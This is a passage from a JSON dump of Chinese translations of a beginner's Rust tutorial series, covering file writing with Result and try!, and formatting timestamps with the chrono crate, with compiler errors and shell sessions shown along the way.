(file:///Users/joel/Projects/simple-log)\nsrc/main.rs:6:9: 6:11 error: this pattern has 0 fields, but the corresponding variant has 1 field [\nE0023]\nsrc/main.rs:6         Ok => println!(\"File created!\"),\n                      ^~\nsrc/main.rs:7:9: 7:12 error: this pattern has 0 fields, but the corresponding variant has 1 field [\nE0023]\nsrc/main.rs:7         Err => println!(\"Error: could not create file.\")\n                      ^~~\nerror: aborting due to 2 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n这很好理解，基本上是我所预想的。我的思维正在形成！\n\n## 7 写入文件\n\n让我们尝试一些更难的东西。这个怎么样：\n\n1. 尝试创建日志文件。如果日志文件不存在则创建它。\n2. 尝试写一个字符串到日志文件。\n3. 把一切理清。\n\n第一个例子进度还没有过半，我们继续：\n\n```\nuse std::fs::File;\n\nfn log_something(filename, string) {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n}\n\nfn main() {\n    match log_something(\"log.txt\", \"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:3:26: 3:27 error: expected one of `:` or `@`, found `,`\nsrc/main.rs:3 fn log_something(filename, string) {\n                                       ^\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n$\n```\n\n所以我想函数参数必须要声明类型：\n\n```\nuse std::fs::File;\n\nfn log_something(filename: &'static str, string: &'static str) {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n}\n\nfn main() {\n    match log_something(\"log.txt\", \"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n<std macros>:5:8: 6:42 error: mismatched types:\n expected `()`,\n    found `core::result::Result<_, _>`\n(expected (),\n    found enum `core::result::Result`) [E0308]\n<std macros>:5 return $ crate:: result:: Result:: Err (\n<std macros>:6 $ crate:: convert:: From:: from ( err ) ) } } )\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:4:17: 4:45 note: expansion site\nsrc/main.rs:5:12: 5:29 error: type `std::fs::File` does not implement any method in scope named `wr\nite_all`\nsrc/main.rs:5     try!(f.write_all(string));\n                         ^~~~~~~~~~~~~~~~~\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:5:5: 5:31 note: expansion site\nsrc/main.rs:5:12: 5:29 help: methods from traits can only be called if the trait is in scope; the f\nollowing trait is implemented but not in scope, perhaps add a `use` for it:\nsrc/main.rs:5:12: 5:29 help: candidate #1: use `std::io::Write`\n<std macros>:5:8: 6:42 error: mismatched types:\n expected `()`,\n    found `core::result::Result<_, _>`\n(expected (),\n    found enum `core::result::Result`) [E0308]\n<std macros>:5 return $ crate:: result:: Result:: Err (\n<std macros>:6 $ crate:: convert:: From:: from ( err ) ) } } )\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:5:5: 5:31 note: expansion site\nsrc/main.rs:10:9: 10:15 error: mismatched types:\n expected `()`,\n    found `core::result::Result<_, _>`\n(expected (),\n    found enum `core::result::Result`) [E0308]\nsrc/main.rs:10         Ok(..) => println!(\"File created!\"),\n                       ^~~~~~\nsrc/main.rs:11:9: 11:16 error: mismatched types:\n expected `()`,\n    found `core::result::Result<_, _>`\n(expected (),\n    found enum `core::result::Result`) [E0308]\nsrc/main.rs:11         Err(..) => println!(\"Error: could not create file.\")\n                       ^~~~~~~\nerror: aborting due to 5 previous errors\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n出现了好多错误。我们看第一个错误，我猜 `log_something` 函数需要规定一个返回值。我尝试了一些方法，但是我卡住了。求助于搜索引擎！\n\n几分钟过去了，我终于找到了答案。我在 GitHub 上找到了一些[相关信息](https://github.com/search?p=15&q=Result+language:rust&ref=simplesearch&type=Code&utf8=%E2%9C%93)，但是它并不有效。我大约尝试了 50 种不同方案，最终得以解决：\n\n```\nuse std::io::prelude::*;\nuse std::fs::File;\n\nfn log_something(filename: &'static str, string: &'static str) -> Result<File,std::io::error::Error> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n}\n\nfn main() {\n    match log_something(\"log.txt\", \"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n我不知道它能正常工作的原因。如果我理解的正确，返回值的类型 `Result` 的参数应该是 `File` 和 `std::io::error::Error`。这究竟是什么意思？对我来说，这两种类型很奇怪，一种是实际结果（文件），另一种是 `Error` 类型。为什么？我想，我修复了剩余错误之后，这还需要再次修复。\n\n现在当我尝试运行它时，我得到如下错误信息：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:8:22: 8:28 error: mismatched types:\n expected `&[u8]`,\n    found `&'static str`\n(expected slice,\n    found str) [E0308]\nsrc/main.rs:8     try!(f.write_all(string));\n                                   ^~~~~~\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:8:5: 8:31 note: expansion site\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n我在例子中看到他们在字符串前加了一个 `b` Ok，我忽略它只是为了看看会发生什么。修复参数：\n\n```\nuse std::io::prelude::*;\nuse std::fs::File;\n\nfn log_something(filename: &'static str, string: &'static [u8; 12]) -> Result<File,std::io::error::Error> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n}\n\nfn main() {\n    match log_something(\"log.txt\", \"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:4:85: 4:106 error: struct `Error` is private\nsrc/main.rs:4 fn log_something(filename: &'static str, string: &'static [u8; 12]) -> Result<File, std::io::error::Error> {\n                                                                                                  ^~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to previous error\nCould not compile `simple-log`.\n```\n\n我知道这将出现问题。花一些时间查阅资料。\n\nRust 文档有[一章](https://doc.rust-lang.org/book/error-handling.html)介绍 `Result`。看起来我做了一些非常规的操作。我是说，这似乎是“最好”的方式来处理当前的错误，但是我很疑惑。我曾见过这个 `unwrap` 几次，这看起来可能是我想要的。如果我尝试 `unwrap`，事情可能会有所不同：\n\n```\nfn log_something(filename: &'static str, string: &'static [u8; 12]) {\n    let mut f = File::create(filename).unwrap();\n    f.write_all(string);\n}\n\nfn main() {\n    log_something(\"log.txt\", b\"ITS ALIVE!!!\")\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:6:5: 6:25 warning: unused result which must be used, #[warn(unused_must_use)] on by def\nault\nsrc/main.rs:6     f.write_all(string);\n                  ^~~~~~~~~~~~~~~~~~~~\n     Running `target/debug/simple-log`\n$ ls\nCargo.lock      Cargo.toml      foo.txt         log.txt         src             target\n$ cat log.txt\nITS ALIVE!!!\n```\n\n看，虽然有一个警告，它还是工作了。但我想，这不是 Rust 的方式，Rust 提倡提前失败或抛出错误。\n\n真正的问题是 `try!` 和 `try!` 宏返回古怪 `Result` 的分支：\n\n```\nreturn $crate::result::Result::Err($crate::convert::From::from(err))\n```\n\n这意味着无论我传入什么都必须在枚举上实现一个 `From::from` 特征。但是我真的不知道特征或枚举是如何工作的，而且我认为整个事情对于我来说都是矫枉过正。\n\n我去查阅 `Result` 的文档，看起来我走错了方向：[https://doc.rust-lang.org/std/result/](https://doc.rust-lang.org/std/result/)。这里的 `io::Result` 例子似乎于我做的相似，所以让我看看我是否能解决问题：\n\n```\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\n\nfn log_something(filename: &'static str, string: &'static [u8; 12]) -> io::Result<()> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n}\n\nfn main() {\n    match log_something(\"log.txt\", b\"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:5:1: 8:2 error: not all control paths return a value [E0269]\nsrc/main.rs:5 fn log_something(filename: &'static str, string: &'static [u8; 12]) -> io::Result<()>\n {\nsrc/main.rs:6     let mut f = try!(File::create(filename));\nsrc/main.rs:7     try!(f.write_all(string));\nsrc/main.rs:8 }\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n经过一段时间的思考，我发现了问题：必须在 `log_something` 的最后添加 `OK(())` 语句。我通过参考 `Result` 文档得出这样的结论。\n\n我已经习惯了在函数最后的无分号语句意思是 `return ()`；而错误消息“不是所有的分支都返回同一类型”不好理解 —— 对我来说，这是类型不匹配问题。当然，`()` 可能不是一个值，我仍然认为这是令人困惑的。\n\n我们最终的结果（这篇文章）：\n\n```\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\n\nfn log_something(filename: &'static str, string: &'static [u8; 12]) -> io::Result<()> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n    Ok(())\n}\n\nfn main() {\n    match log_something(\"log.txt\", b\"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ rm log.txt\n$ cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\nITS ALIVE!!!\n```\n\n好了，它工作了，美滋滋！我想在这里结束本章，因为本章内容非常富有挑战性。我确信这个代码是可以做出改进的，但这里暂告一段落，[下一章](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)我们将研究 Rust 中的日期和时间.\n\n## 8 更新\n\n1. NMSpaz 在 [Reddit](https://www.reddit.com/r/rust/comments/38ahgr/a_simple_web_app_in_rust_part_2a/crvvhkf) 指出了我例子中的一个错误。\n\n—\n\n系列文章：使用 Rust 开发一个简单的 Web 应用\n\n* [Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n* [Part 2a](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n* [Part 2b](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)\n* [Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-3.md)\n* [Part 4](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-4-cli-option-parsing.md)\n* [Conclusion](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-conclusion.md)\n\n## 脚注:\n\n[1](#fnr.1) 哈哈哈哈。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-simple-web-app-in-rust-pt-2b.md",
    "content": "> * 原文地址：[A Simple Web App in Rust, Part 2b](http://joelmccracken.github.io/entries/a-simple-web-app-in-rust-pt-2b/)\n> * 原文作者：[Joel's Journal](http://joelmccracken.github.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2b.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n\n# 使用 Rust 开发一个简单的 Web 应用，第 2b 部分\n\n## 目录\n\n## 1 系列文章\n\n在这个系列文章中，我记录下了，我在尝试使用 Rust 开发一个简单的 Web 应用过程中获得的经验。\n\n到目前为止，我们有：\n\n1. [制定目标 & “Hello World”级 Web 服务器](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-1.md)\n2. [搞清楚如何写入文件](https://github.com/xitu/gold-miner/blob/master/TODO/a-simple-web-app-in-rust-pt-2a.md)\n\n上一篇文章很恶心。这次我们会探索 Rust 的时间、日期格式，重点是用一个合适的格式记录时间。\n\n## 2 使用 Chrono\n\n在 crates.io 中搜索“日期”将得到[一个名为 chrono 的包](https://crates.io/search?q=date)。它热度很高，更新频繁，所以这看起来是一个好的候选方案。 从 README 文件来看，它有着很棒的日期、时间输出功能。\n\n第一件事情是在 `Cargo.toml` 中添加 Chrono 依赖，但在此之前，我们先把旧的 `main.rs` 移出，腾出空间用于实验：\n\n```\n$ ls\nCargo.lock Cargo.toml log.txt    src        target\n$ cd src/\n$ ls\nmain.rs     web_main.rs\n$ git mv main.rs main_file_writing.rs\n$ touch main.rs\n$ git add main.rs\n$ git status\nOn branch master\nYour branch is up-to-date with 'origin/master'.\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   main.rs\n        copied:     main.rs -> main_file_writing.rs\n\nUntracked files:\n  (use \"git add <file>...\" to include in what will be committed)\n\n        ../log.txt\n\n$ git commit -m 'move file writing out of the way for working with dates'\n[master 4cd2b0e] move file writing out of the way for working with dates\n 2 files changed, 16 deletions(-)\n rewrite src/main.rs (100%)\n copy src/{main.rs => main_file_writing.rs} (100%)\n```\n\n在 `Cargo.toml` 中添加 Chrono 依赖：\n\n```\n[package]\nname = \"simple-log\"\nversion = \"0.1.0\"\nauthors = [\"Joel McCracken <mccracken.joel@gmail.com>\"]\n\n[dependencies]\n\nchrono = \"0.2\"\n\n[dependencies.nickel]\n\ngit = \"https://github.com/nickel-org/nickel.rs.git\"\n```\n\n自述文件接着说：\n\n```\nAnd put this in your crate root:\n\n    extern crate chrono;\n```\n\n我不知道这是什么意思，但我要尝试把它放到 `main.rs` 顶部，因为它看起来像是 Rust 代码：\n\n```\nextern crate chrono;\n\nfn main() { }\n```\n\n编译：\n\n```\n$ cargo run\n    Updating registry `https://github.com/rust-lang/crates.io-index`\n Downloading num v0.1.25\n Downloading rand v0.3.8\n Downloading chrono v0.2.14\n   Compiling rand v0.3.8\n   Compiling num v0.1.25\n   Compiling chrono v0.2.14\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `/Users/joel/Projects/simple-log/target/debug/simple-log`\n```\n\n好了，它似乎下载了 Chrono，并且编译成功了、结束了。我想下一步就是尝试使用它。根据自述文件第一个例子，我想这样：\n\n```\nextern crate chrono;\nuse chrono::*;\n\nfn main() {\n    let local: DateTime<Local> = Local::now();\n    println!('{}', local);\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nmain.rs:6:14: 6:16 error: unterminated character constant: '{\nmain.rs:6     println!('{}', local);\n                       ^~\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n……？我愣了几秒后，我意识到它是告诉我，我应该使用双引号，而不是单引号。这是有道理的，单引号被用于生命周期规范。\n\n从单引号切换到双引号之后：\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `/Users/joel/Projects/simple-log/target/debug/simple-log`\n2015-06-05 16:54:47.483088 -04:00\n```\n\n……**哇偶**，这真简单。看起来 `println!` 可以调用某种接口以打印各种不同的东西。\n\n这很讽刺。我很轻松就构建一个简单的“Hello World”级 Web 应用并且打印了一个格式良好的时间，但我在写入文件上花费了很多时间。我不知道这意味着什么。尽管 Rust 语言很难用（对我来说），但是我相信 Rust 社区已经做了许多努力使系统包工作良好。\n\n## 3 将日期时间写入文件\n\n我认为，下一步我们应该将这个字符串写入文件。为此，我想看看上一篇文章的结尾：\n\n```\n$ cat main_file_writing.rs\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\n\nfn log_something(filename: &'static str, string: &'static [u8; 12]) -> io::Result<()> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n    Ok(())\n}\n\nfn main() {\n    match log_something(\"log.txt\", b\"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n我只是将上面那个例子和这个合并到一起：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn log_something(filename: &'static str, string: &'static [u8; 12]) -> io::Result<()> {\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(string));\n    Ok(())\n}\n\nfn main() {\n    let local: DateTime<Local> = Local::now();\n    println!('{}', local);\n    match log_something(\"log.txt\", b\"ITS ALIVE!!!\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n编译：\n\n```\n$ ls\nCargo.lock      Cargo.toml      log.txt         src             target\n$ pwd\n/Users/joel/Projects/simple-log\n$ ls\nCargo.lock      Cargo.toml      log.txt         src             target\n$ rm log.txt\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\n2015-06-05 17:08:57.814176 -04:00\nFile created!\n$ cat log.txt\nITS ALIVE!!!$\n```\n\n它工作了！和语言作斗争真有意思，很顺利地把两个东西放在一起。\n\n## 4 构建时间记录器\n\n我们离写一个真正的、完整的、最终系统越来越近。我突然想起，我可以为这个代码写一些测试，但是不急，一会再说。\n\n以下是这个函数应该做的事情：\n\n1. 给定一个文件名，\n2. 如果它不存在则创建它，然后打开这个文件。\n3. 创建一个时间日期字符串，\n4. 将这个字符串写入文件，然后关闭这个文件。\n\n### 4.1 对 `u8` 的误解\n\n我的第一次尝试：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n\n    let local: DateTime<Local> = Local::now();\n    let time_str = local.format(\"%Y\").to_string();\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(time_str));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:13:22: 13:30 error: mismatched types:\n expected `&[u8]`,\n    found `collections::string::String`\n(expected &-ptr,\n    found struct `collections::string::String`) [E0308]\nsrc/main.rs:13     try!(f.write_all(time_str));\n                                    ^~~~~~~~\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:13:5: 13:33 note: expansion site\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n我知道 Rust 中有很多字符串类型[1](#fn.1)，看起来这里我需要另一种类型。我不知道怎么下手，所以我只能搜索一番。\n\n我记得在 [Rust 文档的某一部分](http://doc.rust-lang.org/book/strings.html)中特别提到了字符串。查一查，它说，可以使用 `&` 符号实现从 `String` 到 `&str` 的转换。我感觉这不是我们需要的，因为它应该是 `[u8]` 与 `&str`[2](#fn.2) 之间的类型冲突，让我们试试:\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n\n    let local: DateTime<Local> = Local::now();\n    let time_str = local.format(\"%Y\").to_string();\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(&time_str));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:13:22: 13:31 error: mismatched types:\n expected `&[u8]`,\n    found `&collections::string::String`\n(expected slice,\n    found struct `collections::string::String`) [E0308]\nsrc/main.rs:13     try!(f.write_all(&time_str));\n                                    ^~~~~~~~~\n<std macros>:1:1: 6:48 note: in expansion of try!\nsrc/main.rs:13:5: 13:34 note: expansion site\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n好吧，显然，添加 `&` 符号只能从 `String` 转换到 `&String`。这似乎与 Rust 文档中所说的直相矛盾，但也可能是我不知道发生了什么事情。\n\n……而且我刚刚读了字符串的章节的末尾。据我所知，这里没有任何东西。\n\n我离开了一段时间去忙别的事情（家长里短，你懂），当我走的时候，我恍然大悟。在此之前，我一直以为 `u8` 是 `UTF-8` 的缩写，但是现在我仔细想想，它肯定是“无符号 8 位整数”的意思。而且我记得我看见过 `as_bytes` 方法，所以，我们试一下：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let local: DateTime<Local> = Local::now();\n    let bytes = local.format(\"%Y\").to_string().as_bytes();\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nmain.rs:10:17: 10:47 error: borrowed value does not live long enough\nmain.rs:10     let bytes = local.format(\"%Y\").to_string().as_bytes();\n                           ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmain.rs:10:59: 14:2 note: reference must be valid for the block suffix following statement 1 at 10:\n58...\nmain.rs:10     let bytes = local.format(\"%Y\").to_string().as_bytes();\nmain.rs:11     let mut f = try!(File::create(filename));\nmain.rs:12     try!(f.write_all(bytes));\nmain.rs:13     Ok(())\nmain.rs:14 }\nmain.rs:10:5: 10:59 note: ...but borrowed value is only valid for the statement at 10:4\nmain.rs:10     let bytes = local.format(\"%Y\").to_string().as_bytes();\n               ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmain.rs:10:5: 10:59 help: consider using a `let` binding to increase its lifetime\nmain.rs:10     let bytes = local.format(\"%Y\").to_string().as_bytes();\n               ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n好吧，我**希望**事情有所进展。这个错误是否意味着我修正了一些东西，而还有一些其他的错误掩盖了这个问题？我是不是遇到了一个全新的问题？\n\n奇怪的是错误信息集中体现在同一行上。我并不是很明白，但我觉得它是想告诉我，我需要添加一个赋值语句在方法中。我们试一下：\n\n```\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%Y\").to_string();\n    let bytes = formatted.as_bytes();\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(bytes));\n    Ok(())\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\n2015$\n```\n\n太棒了！我们想要的都在这了。在我继续之前，我想吐槽一下，我有一点失望。没有我的提示，Rust 也应该可以通过上下文推断正确的行为。\n\n测试脚本：\n\n```\n$ ls\nCargo.lock      Cargo.toml      log.txt         src             target\n$ rm log.txt\n$ cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\n2015$ cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\n2015$\n```\n\n### 4.2 查缺补漏\n\n一些问题：\n\n1. 没有另起一行，这忍不了。\n2. 格式需要一些处理。\n3. 新的日期会覆盖旧的。\n\nLet's verify #3 by fixing the format. If the time changes between runs, then we will know that's what is happening.\n\n`DateTime` 中的 `format` 方法使用标准 strftime 格式公约。理想情况下，我希望时间看起来像是这样的：\n\n```\nSat, Jun 6 2015 05:32:00 PM\nSun, Jun 7 2015 08:35:00 AM\n```\n\n……等等。这可读性应该是足够的，供我使用。查阅[文档](https://lifthrasiir.github.io/rust-chrono/chrono/format/strftime/index.html)后，我想出了这个：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    let bytes = formatted.as_bytes();\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n测试：\n\n```\n$ rm log.txt\n$ cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\nSun, Jun 07 2015 06:37:21 PM\n$ sleep 5; cargo run\n     Running `target/debug/simple-log`\nFile created!\n$ cat log.txt\nSun, Jun 07 2015 06:37:41 PM\n```\n\n显然，程序覆盖我想要的日志项。我记得 `File::create` 的文档中指出了这里发生的事。所以，为了正确处理文件我需要再次查阅文档。\n\n我进行了一些搜索，基本上找到答案都是无关紧要的。随后，我找到了 [std::path::Path](https://doc.rust-lang.org/std/path/struct.Path.html) 的文档，其中有一个 `exists` 模式。\n\n此时，我的程序中的类型转换变得越来越难以管理。我感到紧张，所以继续之前，我要提交一次。\n\n我想把对时间实体字符串的处理逻辑从 `log_time` 函数中抽取出来，因为时间的创建与格式化显然与文件操作代码不同。所以，我做了如下尝试：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn log_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let bytes = log_time_entry().as_bytes();\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\nsrc/main.rs:16:17: 16:33 error: borrowed value does not live long enough\nsrc/main.rs:16     let bytes = log_time_entry().as_bytes();\n                               ^~~~~~~~~~~~~~~~\nsrc/main.rs:16:45: 20:2 note: reference must be valid for the block suffix following statement 0 at\n 16:44...\nsrc/main.rs:16     let bytes = log_time_entry().as_bytes();\nsrc/main.rs:17     let mut f = try!(File::create(filename));\nsrc/main.rs:18     try!(f.write_all(bytes));\nsrc/main.rs:19     Ok(())\nsrc/main.rs:20 }\nsrc/main.rs:16:5: 16:45 note: ...but borrowed value is only valid for the statement at 16:4\nsrc/main.rs:16     let bytes = log_time_entry().as_bytes();\n                   ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nsrc/main.rs:16:5: 16:45 help: consider using a `let` binding to increase its lifetime\nsrc/main.rs:16     let bytes = log_time_entry().as_bytes();\n                   ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nerror: aborting due to previous error\nCould not compile `simple-log`.\n\nTo learn more, run the command again with --verbose.\n```\n\n好吧，这看起来就像我以前遇到的问题。是不是假借或持有要求函数拥有明确的资源引用？这似乎有一点奇怪。我再次尝试修复它：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse std::io;\nuse chrono::*;\n\nfn formatted_time_entry() -> String {\n    let local: DateTime<Local> = Local::now();\n    let formatted = local.format(\"%a, %b %d %Y %I:%M:%S %p\\n\").to_string();\n    formatted\n}\n\nfn log_time(filename: &'static str) -> io::Result<()> {\n    let entry = formatted_time_entry();\n    let bytes = entry.as_bytes();\n\n    let mut f = try!(File::create(filename));\n    try!(f.write_all(bytes));\n    Ok(())\n}\n\nfn main() {\n    match log_time(\"log.txt\") {\n        Ok(..) => println!(\"File created!\"),\n        Err(..) => println!(\"Error: could not create file.\")\n    }\n}\n```\n\n=>\n\n```\n$ cargo run\n   Compiling simple-log v0.1.0 (file:///Users/joel/Projects/simple-log)\n     Running `target/debug/simple-log`\nFile created!\n```\n\n所以，看起来添加一个明确的引用解决了问题。不管怎样，这个规则还蛮简单。\n\n下面，我要将文件操作代码抽取至它自己的函数：\n\n```\nextern crate chrono;\n\nuse std::io::prelude::*;\nuse std::fs::File;\nuse 